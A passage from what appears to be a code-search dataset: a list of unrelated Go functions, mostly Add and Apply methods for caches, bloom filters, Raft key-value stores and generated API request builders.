r\n}","func (c *Collection) Add(entry interface{}) error {\n\tkeyComponents, err := c.generateKey(entry)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\tkey, err := c.formatKey(keyComponents)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\texists, err := c.exists(key)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\tif exists {\n\t\treturn fmt.Errorf(\"Failed to add to collection. Key already exists\")\n\t}\n\n\tbytes, err := c.Serializer.ToBytes(entry)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\tif c.Name != WorldStateIdentifier {\n\t\terr = c.Stub.PutPrivateData(c.Name, key, bytes)\n\t} else {\n\t\terr = c.Stub.PutState(key, bytes)\n\t}\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\treturn nil\n}","func (r *ExactMatchLookupJobMatchingRowsCollectionRequest) Add(ctx context.Context, reqObj *LookupResultRow) (resObj *LookupResultRow, err error) {\n\terr = r.JSONRequest(ctx, \"POST\", \"\", reqObj, &resObj)\n\treturn\n}","func (c *Controller) apply(key string) error {\n\titem, exists, err := c.indexer.GetByKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !exists {\n\t\treturn c.remove(key)\n\t}\n\treturn c.upsert(item, key)\n}","func Add(ds datastore.Datastore, a Input) (int, error) {\n\treturn add(ds, a)\n}","func (h *History) Add(key int, input, output interface{}, start, end int64) {\n\th.Lock()\n\tdefer h.Unlock()\n\tif _, exists := h.shard[key]; !exists {\n\t\th.shard[key] = make([]*operation, 0)\n\t}\n\to := &operation{input, output, start, end}\n\th.shard[key] = append(h.shard[key], o)\n\th.operations = append(h.operations, o)\n}","func (h *History) Add(key int, input, output interface{}, start, end int64) {\n\th.Lock()\n\tdefer h.Unlock()\n\tif _, exists := h.shard[key]; !exists {\n\t\th.shard[key] = make([]*operation, 0)\n\t}\n\to := &operation{input, output, start, end}\n\th.shard[key] = append(h.shard[key], o)\n\th.operations = append(h.operations, o)\n}","func (as appendStrategy) apply() error {\n\tif as.lastErr == nil {\n\t\treturn nil\n\t}\n\treturn Append(as.previousErr, as.lastErr)\n}","func (s *MedianSubscriber) addEntry(e entry) {\n\tn := len(s.entries)\n\tpos := sort.Search(n, func(i int) bool {\n\t\treturn s.entries[i].Compare(e) >= 0\n\t}) // insert pos of entry\n\tif pos == n {\n\t\ts.entries = append(s.entries, e)\n\t} else {\n\t\ts.entries = append(s.entries[:pos+1], s.entries[pos:]...)\n\t\ts.entries[pos] = e\n\t}\n}","func (op *OpRemove) Apply(e *entry.Entry) error {\n\te.Delete(op.Field)\n\treturn nil\n}","func (d *Dao) Add(ctx context.Context, h *model.History) error {\n\tvalueByte, err := json.Marshal(h)\n\tif err != nil {\n\t\tlog.Error(\"json.Marshal(%v) error(%v)\", h, err)\n\t\treturn err\n\t}\n\tfValues := make(map[string][]byte)\n\tcolumn := d.column(h.Aid, h.TP)\n\tfValues[column] = valueByte\n\tkey := hashRowKey(h.Mid)\n\tvalues := map[string]map[string][]byte{family: fValues}\n\tctx, cancel := context.WithTimeout(ctx, time.Duration(d.conf.Info.WriteTimeout))\n\tdefer cancel()\n\tif _, err = d.info.PutStr(ctx, tableInfo, key, values); err != nil {\n\t\tlog.Error(\"info.PutStr error(%v)\", err)\n\t}\n\treturn nil\n}","func (r ApiGetBulkExportedItemListRequest) Apply(apply string) ApiGetBulkExportedItemListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\n\tvar args Op\n\targs = msg.Command.(Op)\n\tif kv.op_count[args.Client] >= args.Id {\n\t\tDPrintf(\"Duplicate operation\\n\")\n\t}else {\n\t\tswitch args.Type {\n\t\tcase OpPut:\n\t\t\tDPrintf(\"Put Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = args.Value\n\t\tcase OpAppend:\n\t\t\tDPrintf(\"Append Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = kv.data[args.Key] + args.Value\n\t\tdefault:\n\t\t}\n\t\tkv.op_count[args.Client] = args.Id\n\t}\n\n\t//DPrintf(\"@@@Index:%v len:%v content:%v\\n\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\n\t//DPrintf(\"@@@kv.pendingOps[%v]:%v\\n\", msg.Index, kv.pendingOps[msg.Index])\n\tfor _, i := range kv.pendingOps[msg.Index] {\n\t\tif i.op.Client==args.Client && i.op.Id==args.Id {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <- true\n\t\t}else {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <-false\n\t\t}\n\t}\n\tdelete(kv.pendingOps, msg.Index)\n}","func (f *Flattener) Add(point *FlattenerPoint) error {\n\n\titem, ok := f.pointMap.Load(point.hash)\n\tif ok {\n\t\tentry := item.(*mapEntry)\n\t\tentry.values = append(entry.values, point.value)\n\t\treturn nil\n\t}\n\n\tentry := &mapEntry{\n\t\tvalues: []float64{point.value},\n\t\tflattenerPointData: flattenerPointData{\n\t\t\toperation: point.operation,\n\t\t\ttimestamp: point.timestamp,\n\t\t\tdataChannelItem: point.dataChannelItem,\n\t\t},\n\t}\n\n\tf.pointMap.Store(point.hash, entry)\n\n\treturn nil\n}","func (k Keeper) Add(ctx sdk.Context, address sdk.AccAddress, amount sdk.Int) (sdk.Int, error) {\n\tvalue, err := k.Get(ctx, address)\n\tif err != nil {\n\t\treturn sdk.Int{}, sdkerrors.Wrapf(sdkerrors.ErrInvalidRequest, err.Error())\n\t}\n\tres := value.Add(amount)\n\t// emit event\n\tctx.EventManager().EmitEvent(\n\t\tsdk.NewEvent(\n\t\t\ttypes.EventType,\n\t\t\tsdk.NewAttribute(sdk.AttributeKeyAction, types.AttributeActionAdded),\n\t\t\tsdk.NewAttribute(types.AttributeKeyAddress, address.String()),\n\t\t\tsdk.NewAttribute(types.AttributeKeyAmount, amount.String()),\n\t\t),\n\t)\n\treturn k.set(ctx, address, res)\n}","func (r ApiGetHyperflexDatastoreStatisticListRequest) Apply(apply string) ApiGetHyperflexDatastoreStatisticListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (lw *StandardLogWriter) AddEntry(opEntry OperationEntry) {\n\tlw.OpEntries = append(lw.OpEntries, opEntry)\n}","func (r ApiGetHyperflexVmImportOperationListRequest) Apply(apply string) ApiGetHyperflexVmImportOperationListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (s *StyleBuilder) Add(ttype TokenType, entry string) *StyleBuilder { // nolint: gocyclo\n\ts.entries[ttype] = entry\n\treturn s\n}","func (r ApiGetBulkResultListRequest) Apply(apply string) ApiGetBulkResultListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r *Instance) Apply(ctx context.Context, s *Instance, d *state.InstanceDiff, meta interface{}) error {\n\t// TODO: Implement this method\n\treturn nil\n}","func (e *Element) Apply(element *Element) {\n\telement.Children = append(element.Children, e)\n}","func (q query) Add(key string, op Operator, val ...interface{}) {\n\tq.init(key)\n\tq[key][op] = append(q[key][op], val...)\n}","func (o *Operation) Apply(v interface{}) (interface{}, error) {\n\tf, ok := opApplyMap[o.Op]\n\tif !ok {\n\t\treturn v, fmt.Errorf(\"unknown operation: %s\", o.Op)\n\t}\n\n\tresult, err := f(o, v)\n\tif err != nil {\n\t\treturn result, fmt.Errorf(\"error applying operation %s: %s\", o.Op, err)\n\t}\n\n\treturn result, nil\n}","func (r ApiGetBulkRequestListRequest) Apply(apply string) ApiGetBulkRequestListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r ApiGetHyperflexHealthListRequest) Apply(apply string) ApiGetHyperflexHealthListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (filter *BloomFilter) Add(key interface{}) {\n\tindexes := filter.getIndexes(key)\n\n\tfor i := 0; i < len(indexes); i++ {\n\t\tfilter.bits.Set(indexes[i])\n\t}\n\n\tfilter.keySize += 1\n}","func (bf *BloomFilter) Add(value interface{}) {\n\tbf.blf.Add(value)\n}","func (dump *Dump) EctractAndApplyUpdateEntryType(record *Content, pack *PackedContent) {\n\tdump.RemoveFromEntryTypeIndex(pack.EntryTypeString, pack.ID)\n\n\tpack.EntryType = record.EntryType\n\tpack.EntryTypeString = entryTypeKey(record.EntryType, record.Decision.Org)\n\n\tdump.InsertToEntryTypeIndex(pack.EntryTypeString, pack.ID)\n}","func (c *Cache) Add(key Key, value interface{}) *Cache {\n\tif el, hit := c.cache[key]; hit {\n\t\tel.Value.(*entry).value = value\n\t\tc.ddl.MoveToFront(el)\n\t\treturn c\n\t}\n\n\tif c.ddl.Len() >= c.maxEntries {\n\t\tlel := c.ddl.Back()\n\t\tc.remove(lel)\n\t}\n\n\te := entry{key: key, value: value}\n\tel := c.ddl.PushFront(&e)\n\tc.cache[key] = el\n\treturn c\n}","func (cs cacheSize) add(bytes, entries int32) cacheSize {\n\treturn newCacheSize(cs.bytes()+bytes, cs.entries()+entries)\n}","func (so *Operations) Add(op api.Operation) error {\n\tso.safe()\n\tkey := op.Id()\n\tif _, found := so.oMap[key]; !found {\n\t\tso.oOrder = append(so.oOrder, key)\n\t}\n\tso.oMap[key] = op\n\treturn nil\n}","func (m mapImports) Add(key string, value string, thirdParty bool) {\n\tmp := m[key]\n\tif thirdParty {\n\t\tmp.thirdParty = append(mp.thirdParty, value)\n\t} else {\n\t\tmp.standard = append(mp.standard, value)\n\t}\n\n\tm[key] = mp\n}","func (r ApiGetHyperflexServerFirmwareVersionEntryListRequest) Apply(apply string) ApiGetHyperflexServerFirmwareVersionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (pred *LikePredicate) Apply(c cm.Collection) error {\n\tcol := c.(*Table)\n\n\tlike := \"like\"\n\n\tif pred.CaseSensitive {\n\t\tlike = \"ilike\"\n\t}\n\n\tcol.filterStatements = append(col.filterStatements,\n\t\tfmt.Sprintf(\"%s %s ?\", pred.Column.Name(), like))\n\n\tcol.filterValues = append(col.filterValues, pred.Value)\n\n\treturn nil\n}","func (h HyperLogLog) Add(ctx context.Context, values ...string) (int64, error) {\n\treq := newRequestSize(2+len(values), \"\\r\\n$5\\r\\nPFADD\\r\\n$\")\n\treq.addStringAndStrings(h.name, values)\n\treturn h.c.cmdInt(ctx, req)\n}","func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}","func (kv *KVServer) ApplyOp(op Op, opIndex int, opTerm int) KVAppliedOp {\n\terr := Err(OK)\n\tval, keyOk := kv.store[op.Key]\n\n\t// only do the store modification if we haven't already\n\t// seen this request (can happen if a leader crashes after comitting\n\t// but before responding to client)\n\tif prevOp, ok := kv.latestResponse[op.ClientID]; !ok || prevOp.KVOp.ClientSerial != op.ClientSerial {\n\t\tif op.OpType == \"Get\" && !keyOk {\n\t\t\t// Get\n\t\t\terr = Err(ErrNoKey)\n\t\t} else if op.OpType == \"Put\" {\n\t\t\t// Put\n\t\t\tkv.store[op.Key] = op.Value\n\t\t} else if op.OpType == \"Append\" {\n\t\t\t// Append (may need to just Put)\n\t\t\tif !keyOk {\n\t\t\t\tkv.store[op.Key] = op.Value // should this be ErrNoKey?\n\t\t\t} else {\n\t\t\t\tkv.store[op.Key] += op.Value\n\t\t\t}\n\t\t}\n\t\tkv.Log(LogInfo, \"Store updated:\", kv.store)\n\t} else {\n\t\tkv.Log(LogDebug, \"Skipping store update, detected duplicate command.\")\n\t}\n\n\t// create the op, add the Value field if a Get\n\tappliedOp := KVAppliedOp{\n\t\tTerm: opTerm,\n\t\tIndex: opIndex,\n\t\tKVOp: op,\n\t\tErr: err,\n\t}\n\tif op.OpType == \"Get\" {\n\t\tappliedOp.Value = val\n\t}\n\tkv.Log(LogDebug, \"Applied op\", appliedOp)\n\n\t// update tracking of latest op applied\n\tkv.lastIndexApplied = appliedOp.Index\n\tkv.lastTermApplied = appliedOp.Term\n\treturn appliedOp\n}","func (m *mEntry) AddErr(err error) Entry {\n\tfor i := range m.es {\n\t\tm.es[i] = m.es[i].AddErr(err)\n\t}\n\treturn m\n}","func (digest *MergingDigest) Add(x float64, w int64) {\n\tif w <= 0 {\n\t\tpanic(\"Cannot add samples with non-positive weight\")\n\t}\n\tdigest.Merge(Centroid{\n\t\tMean: x,\n\t\tCount: w,\n\t})\n}","func (this *DateAddStr) Apply(context Context, date, n, part value.Value) (value.Value, error) {\n\tif date.Type() == value.MISSING || n.Type() == value.MISSING || part.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if date.Type() != value.STRING || n.Type() != value.NUMBER || part.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tda := date.Actual().(string)\n\tt, fmt, err := strToTimeFormat(da)\n\tif err != nil {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tna := n.Actual().(float64)\n\tif na != math.Trunc(na) {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tpa := part.Actual().(string)\n\tt, err = dateAdd(t, int(na), pa)\n\tif err != nil {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\treturn value.NewValue(timeToStr(t, fmt)), nil\n}","func (c *Changer) Add(v interface{}) error {\n\tif c.err != nil {\n\t\treturn c.err\n\t}\n\t_, err := c.node.addChild(justValue{v})\n\treturn err\n}","func (r ApiGetBulkExportListRequest) Apply(apply string) ApiGetBulkExportListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (s *set) Add(t *Term) {\n\ts.insert(t)\n}","func (c *cache) addMulti(e *Entry) error {\n\thashes, err := allHashes(e)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\tif _, present := c.entries[e.name]; present {\n\t\t// log or fail...?\n\t\tc.log.Warning(\"[cache] Overwriting cache entry '%s'\", e.name)\n\t} else {\n\t\tc.log.Info(\"[cache] Adding entry for '%s'\", e.name)\n\t}\n\tc.entries[e.name] = e\n\tfor _, h := range hashes {\n\t\tc.lookupMap[h] = e\n\t}\n\treturn nil\n}","func (r ApiGetBulkSubRequestObjListRequest) Apply(apply string) ApiGetBulkSubRequestObjListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r ApiGetHyperflexFeatureLimitExternalListRequest) Apply(apply string) ApiGetHyperflexFeatureLimitExternalListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (c *WriteCommand) Apply(server raft.Server) (interface{}, error) {\n\tctx := server.Context().(ServerContext)\n\tdb := ctx.Server.db\n\tdb.Put(c.Key, c.Value)\n\treturn nil, nil\n}","func (c *Client) FilterEntryAdd(tenant, filter, entry, etherType, ipProto, srcPortFrom, srcPortTo, dstPortFrom, dstPortTo string) error {\n\n\tme := \"FilterEntryAdd\"\n\n\trn := rnFilterEntry(entry)\n\tdn := dnFilterEntry(tenant, filter, entry)\n\n\tapi := \"/api/node/mo/uni/\" + dn + \".json\"\n\n\turl := c.getURL(api)\n\n\tj := fmt.Sprintf(`{\"vzEntry\":{\"attributes\":{\"dn\":\"uni/%s\",\"name\":\"%s\",\"etherT\":\"%s\",\"status\":\"created,modified\",\"prot\":\"%s\",\"sFromPort\":\"%s\",\"sToPort\":\"%s\",\"dFromPort\":\"%s\",\"dToPort\":\"%s\",\"rn\":\"%s\"}}}`,\n\t\tdn, entry, etherType, ipProto, srcPortFrom, srcPortTo, dstPortFrom, dstPortTo, rn)\n\n\tc.debugf(\"%s: url=%s json=%s\", me, url, j)\n\n\tbody, errPost := c.post(url, contentTypeJSON, bytes.NewBufferString(j))\n\tif errPost != nil {\n\t\treturn fmt.Errorf(\"%s: %v\", me, errPost)\n\t}\n\n\tc.debugf(\"%s: reply: %s\", me, string(body))\n\n\treturn parseJSONError(body)\n}","func (r ApiGetHyperflexAppCatalogListRequest) Apply(apply string) ApiGetHyperflexAppCatalogListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r *reflectorStore) Add(obj interface{}) error {\n\tmetaObj := obj.(metav1.Object)\n\tentity := r.parser.Parse(obj)\n\n\tr.mu.Lock()\n\tdefer r.mu.Unlock()\n\n\tr.hasSynced = true\n\tr.seen[string(metaObj.GetUID())] = entity.GetID()\n\tr.wlmetaStore.Notify([]workloadmeta.CollectorEvent{\n\t\t{\n\t\t\tType: workloadmeta.EventTypeSet,\n\t\t\tSource: collectorID,\n\t\t\tEntity: entity,\n\t\t},\n\t})\n\n\treturn nil\n}","func (r ApiGetHyperflexNodeListRequest) Apply(apply string) ApiGetHyperflexNodeListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (b *ReplaceBuilder) Add(vals ...interface{}) *ReplaceBuilder {\n\tvar rows Values\n\tif b.Insert.Rows != nil {\n\t\trows = b.Insert.Rows.(Values)\n\t}\n\tb.Insert.Rows = append(rows, makeValTuple(vals))\n\treturn b\n}","func (wlt *Wallet) AddEntry(entry Entry) error {\n\t// dup check\n\tfor _, e := range wlt.Entries {\n\t\tif e.Address == entry.Address {\n\t\t\treturn errors.New(\"duplicate address entry\")\n\t\t}\n\t}\n\n\twlt.Entries = append(wlt.Entries, entry)\n\treturn nil\n}","func (r ApiGetHyperflexClusterListRequest) Apply(apply string) ApiGetHyperflexClusterListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (cp *ChangeLog) Add(newEntry LogEntry) {\n\tnewEntry.assertValid()\n\tif len(cp.Entries) == 0 || newEntry.Sequence == cp.Since {\n\t\tcp.Since = newEntry.Sequence - 1\n\t}\n\tcp.Entries = append(cp.Entries, &newEntry)\n}","func (d *Dao) AddCaseReasonApply(c context.Context, mid, cid int64, applyType, originReason, applyReason int8) (err error) {\n\t_, err = d.db.Exec(c, _inBlockedCaseApplyLogSQL, mid, cid, applyType, originReason, applyReason)\n\tif err != nil {\n\t\tlog.Error(\"AddCaseReasonApply err(%v)\", err)\n\t\treturn\n\t}\n\treturn\n}","func (r ApiGetHyperflexAlarmListRequest) Apply(apply string) ApiGetHyperflexAlarmListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r ApiGetHyperflexHealthCheckDefinitionListRequest) Apply(apply string) ApiGetHyperflexHealthCheckDefinitionListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (c *OperandsController) Add(ctx *app.AddOperandsContext) error {\n\ttags := map[string]string{`service-name`: `service-foo`}\n\tvar respErr error\n\n\traven.CapturePanic(func() {\n\t\tsum, err := c.interactor.Add(ctx.Left, ctx.Right)\n\t\tif err != nil {\n\t\t\tlog.Println(`an error occured: `, err)\n\t\t\tc.monitor.CaptureError(err)\n\t\t\trespErr = ctx.InternalServerError()\n\t\t\treturn\n\t\t}\n\n\t\traven.CaptureMessage(`everything is ok`, tags)\n\t\trespErr = ctx.OK([]byte(strconv.Itoa(sum)))\n\t\treturn\n\n\t}, tags)\n\n\treturn respErr\n}","func (r ApiGetResourcepoolUniverseListRequest) Apply(apply string) ApiGetResourcepoolUniverseListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (this *ConditionalSource) Add(key string, values ...interface{}) *ConditionalSource {\n\tthis.inner.Add(key, values...)\n\treturn this\n}","func (l *List) Add(docID uint64, occurences uint32) {\n\tvar p *Posting\n\tvar ok bool\n\n\tif p, ok = l.postings[docID]; !ok {\n\t\tp = &Posting{docID: docID}\n\t\tl.postings[docID] = p\n\t\tl.docs = append(l.docs, docID)\n\t\tl.sorted = false\n\t}\n\n\tp.addOccurences(occurences)\n}","func (list *List) Add(e Entity) {\n\tlist.m[e.Index()] = e\n}","func (f *BloomFilter) Add(input []byte) *BloomFilter {\n var loc uint32\n a, b := f.getHash(input)\n for i := uint(0); i < f.k; i++ {\n // Location for this hash in the filter\n loc = ( a + b * uint32(i) ) % uint32(f.m)\n f.bits.Set(uint(loc))\n }\n return f\n}","func (t *RicTable) Add(c *RicEntry) {\n\tt.Mutex.Lock()\n\tdefer t.Mutex.Unlock()\n\n\tt.Entries[c.Rt] = c\n}","func (as *aggregatorStage) add(e log.Entry) {\n\tas.queueEntries.PushBack(e)\n}","func (s *streamKey) add(entryID string, values []string, now time.Time) (string, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tif entryID == \"\" || entryID == \"*\" {\n\t\tentryID = s.generateID(now)\n\t}\n\n\tentryID, err := formatStreamID(entryID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif entryID == \"0-0\" {\n\t\treturn \"\", errors.New(msgStreamIDZero)\n\t}\n\tif streamCmp(s.lastIDUnlocked(), entryID) != -1 {\n\t\treturn \"\", errors.New(msgStreamIDTooSmall)\n\t}\n\n\ts.entries = append(s.entries, StreamEntry{\n\t\tID: entryID,\n\t\tValues: values,\n\t})\n\treturn entryID, nil\n}","func (b *Buffer) Add(ent entity.Key, body inventoryapi.PostDeltaBody) error {\n\tif _, ok := b.contents[ent]; ok {\n\t\treturn fmt.Errorf(\"entity already added: %q\", ent)\n\t}\n\tbodySize, err := sizeOf(&body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif b.currentSize+bodySize > b.capacity {\n\t\treturn fmt.Errorf(\"delta for entity %q does not fit into the request limits. \"+\n\t\t\t\"Free space: %d. Delta size: %d\", ent, b.capacity-b.currentSize, bodySize)\n\t}\n\tb.contents[ent] = body\n\tb.currentSize += bodySize\n\treturn nil\n}","func (m *Mutator) AddExisting(ctx context.Context, desc ispec.Descriptor, history *ispec.History, diffID digest.Digest) error {\n\tif err := m.cache(ctx); err != nil {\n\t\treturn errors.Wrap(err, \"getting cache failed\")\n\t}\n\n\tm.appendToConfig(history, diffID)\n\tm.manifest.Layers = append(m.manifest.Layers, desc)\n\treturn nil\n}","func (w *Wheel) Add(action func() bool) {\n\tw.lock.Lock()\n\tdefer w.lock.Unlock()\n\n\te := &entry{action: action}\n\tr := w.r.Prev()\n\tif v := r.Value; v != nil {\n\t\te.next = v.(*entry)\n\t}\n\tr.Value = e\n}","func (t *txLookup) Add(tx *types.Transaction) {\n\tt.lock.Lock()\n\tdefer t.lock.Unlock()\n\n\tt.all[tx.Hash()] = tx\n}","func (b *bloom) Add(key []byte) {\n\th1 := murmur3.Sum32(key)\n\th2 := (h1 >> 17) | (h1 << 15)\n\t// Mix hash according to Kirsch and Mitzenmacher\n\tfor i := 0; i < bloomHashes; i++ {\n\t\tp := h1 % uint32(bloomBits)\n\t\tb.bits[p/8] |= (1 << (p % 8))\n\t\th1 += h2\n\t}\n}","func (r *WorkplaceRepository) Add(ctx context.Context, entity *model.WorkplaceInfo) error {\n\tdata, err := json.Marshal(entity)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error to marshal workplace info\")\n\t}\n\t_, err = r.db.Conn.Exec(ctx, \"INSERT INTO workplace(info) VALUES($1) ON CONFLICT (info) DO UPDATE SET updated_at=now()\", data)\n\treturn err\n}","func (dc *DigestCache) Add(hash []byte, text []byte) {\n\tdc.Records[string(hash)] = text\n}","func (r ApiGetHyperflexConfigResultListRequest) Apply(apply string) ApiGetHyperflexConfigResultListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (wectxs *WorkflowContextsMap) Add(id int64, wectx *WorkflowContext) int64 {\n\twectxs.safeMap.Store(id, wectx)\n\treturn id\n}","func (m *mEntry) AddStr(key string, val string) Entry {\n\tfor i := range m.es {\n\t\tm.es[i] = m.es[i].AddStr(key, val)\n\t}\n\treturn m\n}","func (r ApiGetResourcepoolPoolMemberListRequest) Apply(apply string) ApiGetResourcepoolPoolMemberListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r ApiGetHyperflexFeatureLimitInternalListRequest) Apply(apply string) ApiGetHyperflexFeatureLimitInternalListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (c *Cache) Add(key string, value Value) {\n\tif item, ok := c.cache[key]; ok {\n\t\tc.ll.MoveToFront(item)\n\t\tkv := item.Value.(*entry)\n\t\tc.nBytes += int64(value.Len()) - int64(kv.value.Len())\n\t\tkv.value = value\n\t} else {\n\t\titem := c.ll.PushFront(&entry{key, value})\n\t\tc.cache[key] = item\n\t\tc.nBytes += int64(len(key)) + int64(value.Len())\n\t}\n\tfor c.maxBytes != 0 && c.maxBytes < c.nBytes {\n\t\tc.RemoveOldest()\n\t}\n}","func (r ApiGetHyperflexHealthCheckExecutionListRequest) Apply(apply string) ApiGetHyperflexHealthCheckExecutionListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (d Date) Add(i interface{}) (Entry, error) {\n\tdays, ok := i.(int)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"Dates can only be incremented by integers\")\n\t}\n\treturn Date(int(d) + days), nil\n}"],"string":"[\n \"func (a *Add) Apply(data []byte) ([]byte, error) {\\n\\tinput := convert.SliceToMap(strings.Split(a.Path, \\\".\\\"), a.composeValue())\\n\\tvar event interface{}\\n\\tif err := json.Unmarshal(data, &event); err != nil {\\n\\t\\treturn data, err\\n\\t}\\n\\n\\tresult := convert.MergeJSONWithMap(event, input)\\n\\toutput, err := json.Marshal(result)\\n\\tif err != nil {\\n\\t\\treturn data, err\\n\\t}\\n\\n\\treturn output, nil\\n}\",\n \"func (s *Set) Add(e *spb.Entry) error {\\n\\tif e == nil {\\n\\t\\ts.addErrors++\\n\\t\\treturn errors.New(\\\"entryset: nil entry\\\")\\n\\t} else if (e.Target == nil) != (e.EdgeKind == \\\"\\\") {\\n\\t\\ts.addErrors++\\n\\t\\treturn fmt.Errorf(\\\"entryset: invalid entry: target=%v/kind=%v\\\", e.Target == nil, e.EdgeKind == \\\"\\\")\\n\\t}\\n\\ts.addCalls++\\n\\tsrc := s.addVName(e.Source)\\n\\tif e.Target != nil {\\n\\t\\ts.addEdge(src, edge{\\n\\t\\t\\tkind: s.enter(e.EdgeKind),\\n\\t\\t\\ttarget: s.addVName(e.Target),\\n\\t\\t})\\n\\t} else {\\n\\t\\ts.addFact(src, fact{\\n\\t\\t\\tname: s.enter(e.FactName),\\n\\t\\t\\tvalue: s.enter(string(e.FactValue)),\\n\\t\\t})\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r ApiGetHyperflexConfigResultEntryListRequest) Apply(apply string) ApiGetHyperflexConfigResultEntryListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (s *Store) Add(ctx context.Context, key interface{}, v json.Marshaler) error {\\n\\tselect {\\n\\tcase <-ctx.Done():\\n\\t\\treturn ctx.Err()\\n\\tdefault:\\n\\t}\\n\\n\\tb, err := v.MarshalJSON()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ts.mu.Lock()\\n\\tdefer s.mu.Unlock()\\n\\tselect {\\n\\tcase <-ctx.Done():\\n\\t\\treturn ctx.Err()\\n\\tdefault:\\n\\t}\\n\\n\\tif _, ok := s.m[key]; ok {\\n\\t\\treturn store.ErrKeyExists\\n\\t}\\n\\n\\ts.m[key] = entry{data: b}\\n\\treturn nil\\n}\",\n \"func (c *EntryCache) add(e *Entry) error {\\n\\thashes, err := allHashes(e, c.hashes)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tc.mu.Lock()\\n\\tdefer c.mu.Unlock()\\n\\tif _, present := c.entries[e.name]; present {\\n\\t\\t// log or fail...?\\n\\t\\tc.log.Warning(\\\"[cache] Overwriting cache entry '%s'\\\", e.name)\\n\\t} else {\\n\\t\\tc.log.Info(\\\"[cache] Adding entry for '%s'\\\", e.name)\\n\\t}\\n\\tc.entries[e.name] = e\\n\\tfor _, h := range hashes {\\n\\t\\tc.lookupMap[h] = e\\n\\t}\\n\\treturn nil\\n}\",\n \"func (this *ObjectAdd) Apply(context Context, first, second, third value.Value) (value.Value, error) {\\n\\n\\t// Check for type mismatches\\n\\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\tfield := second.Actual().(string)\\n\\n\\t// we don't overwrite\\n\\t_, exists := first.Field(field)\\n\\tif exists {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\t// SetField will remove if the attribute is missing, but we don't\\n\\t// overwrite anyway, so we might just skip now\\n\\tif third.Type() != value.MISSING {\\n\\t\\trv := first.CopyForUpdate()\\n\\t\\trv.SetField(field, third)\\n\\t\\treturn rv, nil\\n\\t}\\n\\treturn first, nil\\n}\",\n \"func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\\n\\t// Has entry?\\n\\tif len(apply.entries) == 0 {\\n\\t\\treturn\\n\\t}\\n\\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\\n\\tfirsti := apply.entries[0].Index\\n\\tif firsti > gmp.appliedi+1 {\\n\\t\\tlogger.Panicf(\\\"first index of committed entry[%d] should <= appliedi[%d] + 1\\\", firsti, gmp.appliedi)\\n\\t}\\n\\t// 